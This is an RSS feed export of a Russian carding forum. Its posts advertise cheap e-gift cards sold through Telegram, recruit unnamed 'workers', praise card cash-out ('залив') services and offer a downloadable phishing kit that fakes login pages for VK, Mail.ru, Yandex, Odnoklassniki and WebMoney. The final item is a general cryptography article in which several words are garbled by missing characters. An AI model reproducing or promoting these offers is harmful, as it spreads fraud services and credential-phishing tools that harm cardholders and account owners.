<?xml version="1.0" encoding="windows-1251"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<atom:link href="https://carton.forum.cool/export.php?type=rss" rel="self" type="application/rss+xml" />
		<title>Кардинг</title>
		<link>https://carton.forum.cool/</link>
		<description>Кардинг</description>
		<language>ru-ru</language>
		<lastBuildDate>Sun, 03 Mar 2019 16:37:55 +0300</lastBuildDate>
		<generator>MyBB/mybb.ru</generator>
		<item>
			<title>Продажа Gift Card (подарочных карт). Asos,Ozon,Steam,Спортмастер,Икеа,</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=51#p51</link>
			<description>&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;display: block; text-align: center&quot;&gt;Гифты - это подарочные сертификаты с фиксированным балансом от различных магазинов. Они существуют двух видов, физические и электронные. Физические приобретаются в розничных магазинах и там же отовариваются, электронные можно приобрести непосредственно в интернет-магазине и с помощью них совершать покупки. Я занимаюсь исключительно продажей e-гифтов (электронных сертификатов)! После приобретения подарочного сертификата у меня, вы можете купить себе любой товар в каком-нибудь интернет-магазине, стоимость покупки не может превышать фиксированный баланс.&lt;/p&gt;
						&lt;p&gt;Могу сделать гифты практически любого магазина, который может принимать в качестве оплаты - оплату e-гифтами!&lt;/p&gt;
						&lt;p&gt;Цены значительно ниже, чем у других поставщиков! Также заинтересован в длительном сотрудничестве с постоянными скупщиками! Продажа только в одни руки, замену делаю в течении двух дней (как правило несколько минут). &lt;/p&gt;
						&lt;p&gt;В наличии имеются различные номиналы - перед покупкой уточняйте!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Cайт - &lt;a href=&quot;http://qps.ru/vCj1H&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://giftshops.cc&lt;/a&gt; &lt;/p&gt;
						&lt;p&gt;Магазин 24/7 в Telegram: SShopsuu_bot&lt;/p&gt;
						&lt;p&gt;Консультация Telegram: Shopsuu&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (g.shops)</author>
			<pubDate>Sun, 03 Mar 2019 16:37:55 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=51#p51</guid>
		</item>
		<item>
			<title>Gift Card Mvideo,Asos,спормастер,Ozon,Adidas,Eldorado,Ebay,Amazon,Wa</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=50#p50</link>
			<description>&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;display: block; text-align: center&quot;&gt;Asos,спормастер,Ozon,Adidas,Eldorado,Ebay,Amazon,Walmart,Target,Steam&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Гифты - это подарочные сертификаты с фиксированным балансом от различных магазинов. Они существуют двух видов, физические и электронные. Физические приобретаются в розничных магазинах и там же отовариваются, электронные можно приобрести непосредственно в интернет-магазине и с помощью них совершать покупки. Я занимаюсь исключительно продажей e-гифтов (электронных сертификатов)! После приобретения подарочного сертификата у меня, вы можете купить себе любой товар в каком-нибудь интернет-магазине, стоимость покупки не может превышать фиксированный баланс.&lt;/p&gt;
						&lt;p&gt;Могу сделать гифты практически любого магазина, который может принимать в качестве оплаты - оплату e-гифтами!&lt;/p&gt;
						&lt;p&gt;Цены значительно ниже, чем у других поставщиков! Также заинтересован в длительном сотрудничестве с постоянными скупщиками! Продажа только в одни руки, замену делаю в течении двух дней (как правило несколько минут). &lt;/p&gt;
						&lt;p&gt;В наличии имеются различные номиналы - перед покупкой уточняйте!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Cайт - &lt;a href=&quot;http://qps.ru/sdgZC&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://giftshop.shopsn.su&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;Магазин 24/7 в Telegram:@SShopsuu_bot&lt;/p&gt;
						&lt;p&gt;Консультация Telegram:@Shopsuu&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (shopsuu)</author>
			<pubDate>Wed, 05 Dec 2018 00:57:17 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=50#p50</guid>
		</item>
		<item>
			<title>Продажа  Gift Card (подарочных карт) Adidas,Eldorado,Ebay,Amazon,Walm</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=49#p49</link>
			<description>&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-style: italic&quot;&gt;Гифты - это подарочные сертификаты с фиксированным балансом от различных магазинов. Они существуют двух видов, физические и электронные. Физические приобретаются в розничных магазинах и там же отовариваются, электронные можно приобрести непосредственно в интернет-магазине и с помощью них совершать покупки. Я занимаюсь исключительно продажей e-гифтов (электронных сертификатов)! После приобретения подарочного сертификата у меня, вы можете купить себе любой товар в каком-нибудь интернет-магазине, стоимость покупки не может превышать фиксированный баланс.&lt;/p&gt;
						&lt;p&gt;Могу сделать гифты практически любого магазина, который может принимать в качестве оплаты - оплату e-гифтами!&lt;/p&gt;
						&lt;p&gt;Цены значительно ниже, чем у других поставщиков! Также заинтересован в длительном сотрудничестве с постоянными скупщиками! Продажа только в одни руки, замену делаю в течении двух дней (как правило несколько минут).&lt;/p&gt;
						&lt;p&gt;В наличии имеются различные номиналы - перед покупкой уточняйте!&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Cайт - &lt;a href=&quot;http://qps.ru/7zKoL&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://giftshop.shopsn.su&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;Telegram:@ Shopsuu&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (dxcard)</author>
			<pubDate>Mon, 26 Nov 2018 18:01:01 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=49#p49</guid>
		</item>
		<item>
			<title>Продажа  Gift Card (подарочных карт). Ebay,Amazon,Aliexpress,Walmart,S</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=48#p48</link>
			<description>&lt;p&gt;&lt;span style=&quot;display: block; text-align: center&quot;&gt;&lt;strong&gt;Что такое гифт (подарочная карта)?&lt;/p&gt;
						&lt;p&gt;Гифты - это подарочные сертификаты с фиксированным балансом от различных магазинов. Они существуют двух видов, физические и электронные. Физические приобретаются в розничных магазинах и там же отовариваются, электронные можно приобрести непосредственно в интернет-магазине и с помощью них совершать покупки. Я занимаюсь исключительно продажей e-гифтов (электронных сертификатов)! После приобретения подарочного сертификата у меня, вы можете купить себе любой товар в каком-нибудь интернет-магазине, стоимость покупки не может превышать фиксированный баланс.&lt;/p&gt;
						&lt;p&gt;Могу сделать гифты практически любого магазина, который может принимать в качестве оплаты - оплату e-гифтами!&lt;/p&gt;
						&lt;p&gt;Цены значительно ниже, чем у других поставщиков! Также заинтересован в длительном сотрудничестве с постоянными скупщиками! Продажа только в одни руки, замену делаю в течении двух дней (как правило несколько минут).&lt;/p&gt;
						&lt;p&gt;В наличии имеются различные номиналы - перед покупкой уточняйте!&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Могу сделать гифты практически любого магазина, который может принимать в качестве оплаты - оплату e-гифтами!&lt;/p&gt;
						&lt;p&gt;Цены значительно ниже, чем у других поставщиков! Также заинтересован в длительном сотрудничестве с постоянными скупщиками! Продажа только в одни руки, замену делаю в течении двух дней (как правило несколько минут).&lt;/p&gt;
						&lt;p&gt;В наличии имеются различные номиналы - перед покупкой уточняйте!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Cайт -&lt;a href=&quot;http://qps.ru/nrmaK&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;https://giftshop.twopay.ru&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;Телеграмм - Sh0psu&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (storgift)</author>
			<pubDate>Wed, 10 Oct 2018 14:27:41 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=48#p48</guid>
		</item>
		<item>
			<title>GIFT CARD Visa/MasterCard,iTunes,Ebay,Amazon,Aliexpress,Walmart,Steam</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=47#p47</link>
			<description>&lt;p&gt;Что такое гифт (подарочная карта)?&lt;/p&gt;
						&lt;p&gt;Гифты - это подарочные сертификаты с фиксированным балансом от различных магазинов. Они существуют двух видов, физические и электронные. Физические приобретаются в розничных магазинах и там же отовариваются, электронные можно приобрести непосредственно в интернет-магазине и с помощью них совершать покупки. Я занимаюсь исключительно продажей e-гифтов (электронных сертификатов)! После приобретения подарочного сертификата у меня, вы можете купить себе любой товар в каком-нибудь интернет-магазине, стоимость покупки не может превышать фиксированный баланс.&lt;/p&gt;
						&lt;p&gt;Могу сделать гифты практически любого магазина, который может принимать в качестве оплаты - оплату e-гифтами!&lt;/p&gt;
						&lt;p&gt;Цены значительно ниже, чем у других поставщиков! Также заинтересован в длительном сотрудничестве с постоянными скупщиками! Продажа только в одни руки, замену делаю в течении двух дней (как правило несколько минут).&lt;/p&gt;
						&lt;p&gt;В наличии имеются различные номиналы - перед покупкой уточняйте!&lt;/p&gt;
						&lt;p&gt;Cайт - &lt;a href=&quot;http://qps.ru/LM9kl&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;https://giftshop.twopay.ru&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;Телеграмм - Sh0psu&lt;/p&gt;</description>
			<author>mybb@mybb.ru (cyrildu)</author>
			<pubDate>Thu, 27 Sep 2018 00:24:32 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=47#p47</guid>
		</item>
		<item>
			<title>Любая техника за 40%,шипаю куда угодно,большой ассортимент.</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=46#p46</link>
			<description>&lt;p&gt;Привет какой минимальный лимит и можно ли провести сделку через гарант с которым я уже работал и ему доверяю&lt;/p&gt;</description>
			<author>mybb@mybb.ru (vbif18)</author>
			<pubDate>Tue, 30 Jan 2018 14:03:53 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=46#p46</guid>
		</item>
		<item>
			<title>Требуются Ответственные Люди</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=45#p45</link>
			<description>&lt;p&gt;Доброго времени суток!&lt;br /&gt;Требуются люди для сотрудничества.&lt;/p&gt;
						&lt;p&gt;Требования:&lt;/p&gt;
						&lt;p&gt;Возраст: 18+&lt;br /&gt;Геолокация: важно (только RU: не все города, указывайте в сообщении свой город)&lt;br /&gt;Образование: не важно&lt;br /&gt;Опыт работы: не имеет значения&lt;br /&gt;Специальные навыки: не играют роли&lt;br /&gt;Адекватность: важно&lt;br /&gt;Порядочность: непременное условие&lt;br /&gt;Пунктуальность: требуется&lt;br /&gt;Вложения: нет&lt;br /&gt;Если вы хотите получить источник постоянного пассивного дохода и поднять свой социальный статус,&lt;br /&gt;если вы готовы к долговременному честному сотрудничеству и открывающимся перспективам,&lt;br /&gt;то свяжитесь с нами.&lt;/p&gt;
						&lt;p&gt;Внимание!&lt;/p&gt;
						&lt;p&gt;Не связано с:&lt;br /&gt;наркотиками,&lt;br /&gt;криптовалютой,&lt;br /&gt;компьютерными играми,&lt;br /&gt;азартными играми,&lt;br /&gt;оружием,&lt;br /&gt;ставками на спорт,&lt;br /&gt;МЛМ,&lt;br /&gt;финансовыми пирамидами,&lt;br /&gt;спамом,&lt;br /&gt;флудом,&lt;br /&gt;вредоносными программами,&lt;br /&gt;рекламой,&lt;br /&gt;арбитражем траффика,&lt;br /&gt;мошенничеством&lt;br /&gt;Ваш доход: первый месяц 20000, далее от 40000 до 180000 и выше&lt;/p&gt;
						&lt;p&gt;Все вопросы по контактам:&lt;br /&gt;Telegram: Mediator1&lt;br /&gt;r0man0@yahoo.com&lt;/p&gt;</description>
			<author>mybb@mybb.ru (r0man0)</author>
			<pubDate>Sun, 28 Jan 2018 16:51:08 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=45#p45</guid>
		</item>
		<item>
			<title>Делаем заливы по РУ/Укр</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=44#p44</link>
			<description>&lt;p&gt;Ве на высшем уровне. Спасибо. Деньги пришли через 10 минут после перевода в гарант! Есть еще одна карта , го еще залив если можно&lt;br /&gt;&lt;a href=&quot;http://uploads.ru/znk3F.jpg&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;https://s4.uploads.ru/t/znk3F.jpg&quot; alt=&quot;http://s4.uploads.ru/t/znk3F.jpg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Alex25)</author>
			<pubDate>Sat, 11 Feb 2017 17:31:40 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=44#p44</guid>
		</item>
		<item>
			<title>Подключение к веб камере при помощи Андроид.</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=42#p42</link>
			<description>&lt;p&gt;Хах, протестим. Поставил в общаге на комп :D&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Ванька)</author>
			<pubDate>Sat, 11 Feb 2017 17:24:35 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=42#p42</guid>
		</item>
		<item>
			<title>онлайн сервис телефонных розыгрышей</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=41#p41</link>
			<description>&lt;p&gt;Блин!!! Нафига под хайд засунул ссылки? напиши в лс&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Ванька)</author>
			<pubDate>Sat, 11 Feb 2017 17:23:29 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=41#p41</guid>
		</item>
		<item>
			<title>Фейк! Fakes by [ixTor]</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=38#p38</link>
			<description>&lt;p&gt;Набор фейков от [ixTor]. (+админка). В архиве содержится:&lt;br /&gt;Вконтакте&lt;br /&gt;Маил.ру&lt;br /&gt;Яндекс.Почта&lt;br /&gt;Рамблер&lt;br /&gt;Одноклассники&lt;br /&gt;ВебМани&lt;br /&gt;_http://narod.ru/disk/11792490000/fakes%20(copy%203).rar.html&lt;/p&gt;</description>
			<author>mybb@mybb.ru (GrantGarant)</author>
			<pubDate>Sat, 11 Feb 2017 17:15:52 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=38#p38</guid>
		</item>
		<item>
			<title>Вредоносное ПО</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=35#p35</link>
			<description>&lt;p&gt;Взято с вики, ты бы писал где берешь статью, если сам ее не пишешь. А так полезная информация&lt;/p&gt;</description>
			<author>mybb@mybb.ru (DoradO_o)</author>
			<pubDate>Sat, 11 Feb 2017 17:11:19 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=35#p35</guid>
		</item>
		<item>
			<title>Криптографические алгоритмы</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=30#p30</link>
			<description>&lt;p&gt;Безопасность цепи зависит от самого слабого звена: чем оно над жнее, тем цепь прочнее. В хорошей криптосистеме должны быть досконально проверены и алгоритм, и протокол, и ключи, и вс остальное. Если криптографический алгоритм достаточно стоек, а генератор случайных чисел, используемый для создания ключей, никуда не годится, любой достаточно опытный криптоаналитик в первую очередь обратит сво внимание именно на него. Если удастся улучшить генератор, но не будут зачищаться ячейки памяти компьютера, после того как в них побывал сгенерированный ключ, грош цена такой безопасности. Если используются стойкий криптографический алгоритм и действительно случайные ключи, которые аккуратно стираются из памяти компьютера после того, как они были использованы, но перед шифрованием файл, в котором вместе с вашим адресом и фамилией указаны все ваши доходы за текущий год, был по ошибке отправлен электронной почтой в налоговую службу, то зачем, спрашивается, вам понадобились и стойкий алгоритм, и случайные ключи, и зачистка компьютерной памяти в придачу?!&lt;/p&gt;
						&lt;p&gt;Криптографу не позавидуешь: в проектируемой им криптосистеме он должен предусмотреть защиту абсолютно от всех видов атак, какие только сможет придумать воспал нное воображение криптоаналитика. Криптоаналитику же наоборот, достаточно отыскать единственное слабое звено в цепи криптографической защиты и организовать атаку только против этого звена.&lt;/p&gt;
						&lt;p&gt;Кроме этого следует учитывать, что на практике угроза информационной безопасности любого объекта исходит не только от криптоаналитика. В конце концов, каким бы длинным не был криптографический ключ, который используется вами для шифрования файлов, если правоохранительным органам понадобится узнать, что хранится в вашем компьютере, они просто установят камеру и скрупул зно запишут всю информацию, появляющуюся на экране. Недаром, по признанию официальных лиц из АНБ, большинство сбоев в обеспечении информационной безопасности происходит не из-за найденных слабостей в криптографических алгоритмах и протоколах, а из-за вопиющих оплошностей в их реализации. Какой бы стойкостью не обладал криптографический алгоритм, при успешной атаке против него эту стойкость не приходится преодолевать в лоб, е просто уда тся обойти каким-либо окольным пут м. Однако и пренебрегать хорошими криптографическими алгоритмами тоже не следует, чтобы криптография не стала самым слабым звеном в цепи, которое не выдержит напора атакующего.&lt;/p&gt;
						&lt;p&gt;Как выбрать хороший криптографический алгоритм&lt;/p&gt;
						&lt;p&gt;Когда заходит речь о выборе хорошего криптографического алгоритма, у выбирающего, как правило, имеется несколько возможностей:&lt;/p&gt;
						&lt;p&gt;- Можно воспользоваться известным алгоритмом, сравнительно давно опубликованным в специальном издании по проблемам криптографии. Если никто пока не сообщил о том, что сумел вскрыть этот алгоритм, значит, он стоит того, чтобы обратить на него внимание.&lt;/p&gt;
						&lt;p&gt;- Можно довериться известной фирме, специализирующейся на продаже средств шифрования. Вряд ли эта фирма будет рисковать своим добрым именем, торгуя нестойкими криптографическими алгоритмами.&lt;/p&gt;
						&lt;p&gt;- Можно обратится к независимому эксперту. Скорее всего, он сможет объективно оценить достоинства и недостатки различных криптографических алгоритмов.&lt;/p&gt;
						&lt;p&gt;- Можно обратится за поддержкой в соответствующее правительственное ведомство. Вряд ли правительство будет вводить своих граждан в заблуждение, давая им ложные советы относительно стойкости того или иного криптографического алгоритма.&lt;/p&gt;
						&lt;p&gt;- Можно попытаться создать собственный криптографический алгоритм. Мало кто заинтересован сам себя обманывать. Чем ч рт не шутит: а вдруг вы обладаете выдающимися способностями в области криптографии?&lt;/p&gt;
						&lt;p&gt;Во всех перечисленных возможностях имеются свои существенные изъяны. Полагаться только на одну фирму, на одного эксперта или на одно ведомство не совсем разумно. Многие люди, называющие себя независимыми экспертами, мало понимают в криптографии. Большинство фирм, производящих средства шифрования, ничуть не лучше. В АНБ и ФАПСИ работают лучшие криптографы в мире, однако, по понятным соображениям, они не спешат поделиться своими секретами с первым встречным. Впрочем, и со вторым тоже. И даже если вы гений в криптографии, глупо использовать криптографический алгоритм собственного изобретения без того, чтобы его всесторонне проанализировали и протестировали опытные криптологи.&lt;/p&gt;
						&lt;p&gt;Поэтому наиболее предпочтительной представляется первая из перечисленных возможностей. Данный подход к оценке стойкости криптографических алгоритмов можно было бы признать идеальным, если бы не один его недостаток. К сожалению, ничего неизвестно о результатах криптоаналитических исследований этих алгоритмов, которые, несомненно, активно велись в прошлом и продолжают также активно проводится во всем мире многочисленными сотрудниками различных правительственных ведомств, в компетенцию которых входят криптологические изыскания. Эти ведомства, скорее всего, гораздо лучше финансируются, чем академические институты, ведущие аналогичные исследования. Да и начали они заниматься криптологией значительно раньше, чем уч ные, не имеющие воинских званий, и специалисты из частных фирм. Поэтому можно предположить, что военные нашли гораздо более простые способы вскрытия известных шифров, нежели те, которые изобретены за пределами строго охраняемых зданий сверхсекретных правительственных ведомств.&lt;/p&gt;
						&lt;p&gt;Ну и пусть. Даже если вас арестуют и в качестве улики конфискуют у вас ж сткий диск с файлами, зашифрованными по DES-алгоритму, то вряд ли криптоаналитики, состоящие на государственной службе, придут на судебное заседание, чтобы клятвенно подтвердить, что данные для вашего обвинительного заключения получены пут м дешифрования конфискованных файлов. Тот факт, что можно вскрывать какой-то конкретный криптографический алгоритм, часто является значительно большим секретом, чем информация, полученная пут м вскрытия этого алгоритма.&lt;/p&gt;
						&lt;p&gt;Лучше всего исходить из предположения, заключающегося в том, что АНБ, ФАПСИ и иже с ними могут прочесть любое сообщение, которое они пожелают прочесть. Однако эти ведомства не в состоянии читать все сообщения, с содержанием которых хотят ознакомиться. Главной причиной является ограниченность в средствах, выделяемых правительством на криптоанализ. Другое разумное предположение состоит в том, что компетентным органам гораздо легче получить доступ к зашифрованной информации с помощью грубой физической силы, чем пут м изящных, но очень трудо мких математических выкладок, приводящих к вскрытию шифра.&lt;/p&gt;
						&lt;p&gt;В любом случае гораздо над жнее пользоваться известным криптографическим алгоритмом, который придуман уже довольно давно и который сумел выстоять против многочисленных попыток вскрыть его, предпринятых авторитетными криптологами.&lt;/p&gt;
						&lt;p&gt;Криптографические алгоритмы, предназначенные для экспорта&lt;/p&gt;
						&lt;p&gt;В настоящее время у пользователей персональных компьютеров имеется возможность применять шифровальные алгоритмы, встроенные в различные программные продукты. Достаточно приобрести, например, текстовый редактор Word, или операционные системы Windows NT и Netware, или редактор электронных таблиц Excel. У всех этих программных продуктов есть ещ одно общее свойство, кроме наличия в них встроенных алгоритмов шифрования. Они изготовлены в Соедин нных Штатах, и прежде чем начать торговать ими за рубежом, американские производители в обязательном порядке должны получить разрешение у своего правительства на их экспорт за пределы США.&lt;/p&gt;
						&lt;p&gt;Повсеместно распространено мнение, что ни один криптографический алгоритм, который разреш н к экспорту из США, не является достаточно стойким, чтобы его не могли вскрыть криптоаналитики из АНБ. Считается, что компании, которые желают продавать за рубежом свою продукцию, позволяющую осуществлять шифрование данных, по настоянию АНБ переделывают используемые криптографические алгоритмы так, что&lt;/p&gt;
						&lt;p&gt;- время от времени отдельные биты ключа подмешиваются в шифртекст;&lt;/p&gt;
						&lt;p&gt;- ключ имеет длину всего 30 бит вместо официально заявляемых 100 бит, поскольку большинство ключей оказываются эквивалентны;&lt;/p&gt;
						&lt;p&gt;- в начало каждого шифруемого сообщения вставляется фиксированный заголовок, чтобы облегчить криптоаналитическую атаку со знанием открытого текста;&lt;/p&gt;
						&lt;p&gt;- любое шифрованное сообщение содержит отрезок случайного открытого текста вместе с соответствующим ему шифртекстом.&lt;/p&gt;
						&lt;p&gt;Исходные тексты шифровальных программ передаются на хранение в АНБ, однако за пределами этого сверхсекретного агентства доступ к ним закрыт наглухо. Вполне естественно, что ни АНБ, ни американские компании, получившие от АНБ разрешение на экспорт своих шифровальных средств, не заинтересованы в рекламе слабостей криптографических алгоритмов, положенных в основу функционирования этих средств. Поэтому желательно проявлять очень большую осторожность, если вы собираетесь защищать свои данные при помощи американских программ шифрования, которые одобрены правительством США для экспорта за пределы страны.&lt;br /&gt;Симметричный или асимметричный криптографический алгоритм?&lt;/p&gt;
						&lt;p&gt;Какой алгоритм лучше - симметричный или асимметричный? Вопрос не совсем корректен, поскольку предусматривает использование одинаковых критериев при сравнении криптосистем с секретным и открытым ключом. А таких критериев не существует.&lt;/p&gt;
						&lt;p&gt;Тем не менее, дебаты относительно достоинств и недостатков двух основных разновидностей криптосистем ведутся начиная с момента изобретения первого алгоритма с открытым ключом. Отмечено, что симметричные криптографические алгоритмы имеют меньшую длину ключа и работают быстрее, чем асимметричные.&lt;/p&gt;
						&lt;p&gt;Однако, по мнению одного из изобретателей криптосистем с открытым ключом - американского криптолога У. Диффи, их следует рассматривать не как некую совершенно новую разновидность универсальных криптосистем. Криптография с открытым ключом и криптография с секретным ключом - это &amp;quot;две большие разницы&amp;quot;, они предназначены для решения абсолютно разных проблем, связанных с засекречиванием информации. Симметричные криптографические алгоритмы служат для шифрования данных, они работают на несколько порядков быстрее, чем асимметричные алгоритмы. Однако и у криптографии с открытым ключом есть области применения, в которых криптографии с секретным ключом делать нечего. К ним относятся работа с ключами и многочисленные криптографические протоколы.&lt;/p&gt;
						&lt;p&gt;Шифрование в каналах связи компьютерной сети&lt;/p&gt;
						&lt;p&gt;Одной из отличительных характеристик любой компьютерной сети является е деление на так называемые уровни, каждый из которых отвечает за соблюдение определ нных условий и выполнение функций, которые необходимы для общения между собой компьютеров, связанных в сеть. Это деление на уровни имеет фундаментальное значение для создания стандартных компьютерных сетей. Поэтому в 1984 году несколько международных организаций и комитетов объединили свои усилия и выработали примерную модель компьютерной сети, известную под названием OSI (Open Systems Interconnection).&lt;/p&gt;
						&lt;p&gt;OSI разносит коммуникационные функции по уровням. Каждый из этих уровней функционирует независимо от ниже- и вышележащих. Он может непосредственно общаться только с двумя соседними уровнями, но полностью изолирован от прямого обращения к следующим уровням. Модель OSI выделяет семь уровней: верхние три служат для связи с конечным пользователем, а нижние четыре ориентированы на выполнение коммуникационных функций в реальном масштабе времени.&lt;/p&gt;
						&lt;p&gt;В теории шифрование данных для передачи по каналам связи компьютерной сети может осуществляться на любом уровне модели OSI. На практике это обычно делается либо на самых нижних, либо на самых верхних уровнях. Если данные шифруются на нижних уровнях, шифрование называется канальным. Если шифрование данных выполняется на верхних уровнях, то оно зов тся сквозным. Оба этих подхода к шифрованию данных имеют свои преимущества и недостатки.&lt;/p&gt;
						&lt;p&gt;Канальное шифрование&lt;/p&gt;
						&lt;p&gt;При канальном шифровании шифруются абсолютно все данные, проходящие через каждый канал связи, включая открытый текст сообщения, а также информацию о его маршрутизации и об используемом коммуникационном протоколе (см. рис. 1). Однако в этом случае любой интеллектуальный сетевой узел (например, коммутатор) будет вынужден расшифровывать входящий поток данных, чтобы соответствующим образом его обработать, и снова зашифровывать, чтобы передать на другой узел сети.&lt;/p&gt;
						&lt;p&gt;Тем не менее, канальное шифрование представляет собой очень эффективное средство защиты информации в компьютерных сетях. Поскольку шифрованию подлежат все данные, движущиеся от одного узла сети к другому, у криптоаналитика нет никакой дополнительной информации о том, кто служит источником передаваемых данных, кому они предназначены, какова их структура и так далее. А если ещ позаботиться и о том, чтобы, пока канал простаивает, передавать по нему случайную битовую последовательность, сторонний наблюдатель не сможет даже сказать, где начинается и где заканчивается текст передаваемого сообщения.&lt;/p&gt;
						&lt;p&gt;Не слишком сложной является и работа с ключами. Одинаковыми ключами следует снабдить только два соседних узла сети связи, которые затем могут менять используемые ключи независимо от других пар узлов.&lt;/p&gt;
						&lt;p&gt;Узел 1 Узел 2 Узел 3 Узел 4&lt;/p&gt;
						&lt;p&gt;Канал 1 Канал 2 Канал 3&lt;/p&gt;
						&lt;p&gt;P P&lt;/p&gt;
						&lt;p&gt;Рис. 1. Канальное шифрование&lt;/p&gt;
						&lt;p&gt;Самый большой недостаток канального шифрования связан с тем, что данные приходится шифровать при передаче по каждому физическому каналу компьютерной сети. Отправка информации в незашифрованном виде по какому-то из каналов ставит под угрозу обеспечение безопасности всей сети в целом. В результате стоимость реализации канального шифрования в больших сетях может оказаться чрезмерно велика.&lt;/p&gt;
						&lt;p&gt;Кроме того, при использовании канального шифрования дополнительно потребуется защищать каждый узел компьютерной сети, через который проходят передаваемые по сети данные. Если абоненты сети полностью доверяют друг другу и каждый е узел размещ н в защищ нном от проникновения злоумышленников месте, на этот недостаток канального шифрования можно не обращать внимание. Однако на практике такое положение встречается чрезвычайно редко. Ведь в каждой фирме есть конфиденциальные данные, знакомиться с которыми могут только сотрудники одного определ нного отдела, а за его пределами доступ к этим данным необходимо ограничивать до минимума.&lt;/p&gt;
						&lt;p&gt;Сквозное шифрование&lt;/p&gt;
						&lt;p&gt;При сквозном шифровании криптографический алгоритм реализуется на одном из верхних уровней модели OSI. Шифрованию подлежит только содержательная часть сообщения, которое требуется передать по сети. После зашифрования к ней добавляется служебная информация, необходимая для маршрутизации сообщения, и результат переправляется на более низкие уровни с целью отправки адресату.&lt;/p&gt;
						&lt;p&gt;Теперь сообщение не требуется постоянно расшифровывать и зашифровывать при прохождении через каждый промежуточный узел сети связи. Сообщение оста тся зашифрованным на вс м пути от отправителя к получателю (см. рис. 2).&lt;/p&gt;
						&lt;p&gt;Основная проблема, с которой сталкиваются пользователи компьютерных сетей, где применяется сквозное шифрование, связана с тем, что служебная информация, используемая для маршрутизации сообщений, переда тся по сети в незашифрованном виде. Опытный криптоаналитик может извлечь для себя массу полезной информации, зная кто, с кем, как долго и в какие часы общается через компьютерную сеть. Для этого ему даже не потребуется быть в курсе предмета общения.&lt;/p&gt;
						&lt;p&gt;По сравнению с канальным сквозное шифрование характеризуется более сложной работой с ключами, поскольку каждая пара пользователей компьютерной сети должна быть снабжена одинаковыми ключами, прежде чем они смогут связаться друг с другом. Вдобавок, поскольку криптографический алгоритм реализуется на верхних уровнях модели OSI, приходится также сталкиваться со многими существенными различиями в коммуникационных протоколах и интерфейсах в зависимости от типов компьютерных сетей и объединяемых в сеть компьютеров. Вс это затрудняет практическое применение сквозного шифрования.&lt;/p&gt;
						&lt;p&gt;Узел 1 Узел 2 Узел 3 Узел 4&lt;/p&gt;
						&lt;p&gt;Канал 1 Канал2 Канал 3&lt;/p&gt;
						&lt;p&gt;P P&lt;/p&gt;
						&lt;p&gt;Рис. 2. Сквозное шифрование&lt;/p&gt;
						&lt;p&gt;Комбинированное шифрование&lt;/p&gt;
						&lt;p&gt;Комбинация канального и сквозного шифрования данных в компьютерной сети обходится значительно дороже, чем канальное или сквозное шифрование по отдельности. Однако именно такой подход позволяет наилучшим образом защитить данные, передаваемые по сети. Шифрование в каждом канале связи не позволяет противнику анализировать служебную информацию, используемую для маршрутизации. А сквозное шифрование уменьшает вероятность доступа к незашифрованным данным в узлах сети.&lt;/p&gt;
